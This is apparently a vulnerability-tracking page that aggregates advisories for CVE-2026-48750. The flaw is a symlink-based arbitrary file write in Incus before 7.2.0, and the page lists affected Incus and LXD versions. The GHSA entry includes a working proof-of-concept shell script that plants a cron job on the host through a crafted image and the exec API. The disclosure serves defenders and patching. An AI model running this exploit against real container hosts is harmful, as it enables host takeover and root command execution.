Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Incus has an arbitrary file write on host via `exec-output` symlink in crafted image

CVSS 3.1 9.9 CRITICALEUVD CVSS 3.1 9.9 CVSS 3.1 · [email protected] · Secondary 9.9 CRITICALCVSS_V3 Publisher rating CRITICALFixed by github.com/lxc/incus/v7/cmd/incusd 7.2.0osv · severity unknownFixed by github.com/lxc/incus/v7 7.2.0KEV status unknown

cve-program · CVE-2026-48750

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.

Read the publisher's advisory

euvd · EUVD-2026-63977

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.

Read the publisher's advisory

nvd · CVE-2026-48750

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.

Read the publisher's advisory

osv · GHSA-73hr-m85f-64v9

Published

### Summary The `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. ### Details When an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink. ### PoC Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on the host for arbitrary command execution. ``` #!/bin/sh # usage: $0 existing-imagefp set -eu basefp="${1}" die() { printf '%s' "${@}" >&2 exit 1 } command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n' tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP # insert exec-output symlink incus image export "${basefp}" "${tmpdir}/img" mkdir "${tmpdir}/repack" cd "${tmpdir}/repack" xz -cd "${tmpdir}/img" | tar -f- -vx rm -rf exec-output ln -s /etc/cron.d exec-output tar -f- -c * | gzip -c9 >"${tmpdir}/img" cd - >/dev/null incus image import "${tmpdir}"/img* --alias afw-exec-output # Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])") curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null #find /etc/cron.d/exec_* -exec cat {} \; ``` ### Impact Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.

Read the publisher's advisory

osv · GO-2026-5801

Published

Incus has an arbitrary file write on host via `exec-output` symlink in crafted image in github.com/lxc/incus

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2026-48750

Published

incus

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "lxc",
                    "product": "incus",
                    "versions": [
                        {
                            "version": "< 7.2.0",
                            "status": "affected"
                        }
                    ]
                }

lxd

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "canonical",
                    "product": "lxd",
                    "versions": [
                        {
                            "version": ">= 4.0.0, < 4.0.11",
                            "status": "affected"
                        },
                        {
                            "version": ">= 5.0.0, < 5.0.7",
                            "status": "affected"
                        },
                        {
                            "version": ">= 5.1.0, < 5.21.5",
                            "status": "affected"
                        },
                        {
                            "version": ">= 6.0.0, < 6.9.0",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2026-63977

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 21, 2026, 2:19:45 PM

dateUpdated: Nov 5, 2026, 11:50:24 PM

1 related source bulletins · separate from aliases

openSUSE-SU-2026:11651-1: incus-7.4-1.1 on GA media

CVE-2026-39402 · CVE-2026-47753 · CVE-2026-48749 · CVE-2026-48750 · CVE-2026-48751 · CVE-2026-48752 · CVE-2026-48753 · CVE-2026-48754 · CVE-2026-48755 · CVE-2026-48756 · CVE-2026-48769 · CVE-2026-55621 · CVE-2026-55622 · CVE-2026-62313 · CVE-2026-62867 · CVE-2026-62940 · CVE-2026-62941 · CVE-2026-63125 · CVE-2026-63343 · CVE-2026-81500 · CVE-2026-81501

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2026-48750

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-73

Original publisher date fields

published: 2026-08-21T15:16:40.390

lastModified: 2026-11-06T01:17:49.330

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-73hr-m85f-64v9

Published

github.com/lxc/incus/v7/cmd/incusd

Go

SEMVER · introduced 0 → fixed 7.2.0

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2026-5801

Published

github.com/lxc/incus

Go

SEMVER · introduced 0

github.com/lxc/incus/v6

Go

SEMVER · introduced 0

github.com/lxc/incus/v7

Go

SEMVER · introduced 0 → fixed 7.2.0

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 22:09 UTC · 274 of 275 readable · 268 fully read · documentation 469/469 current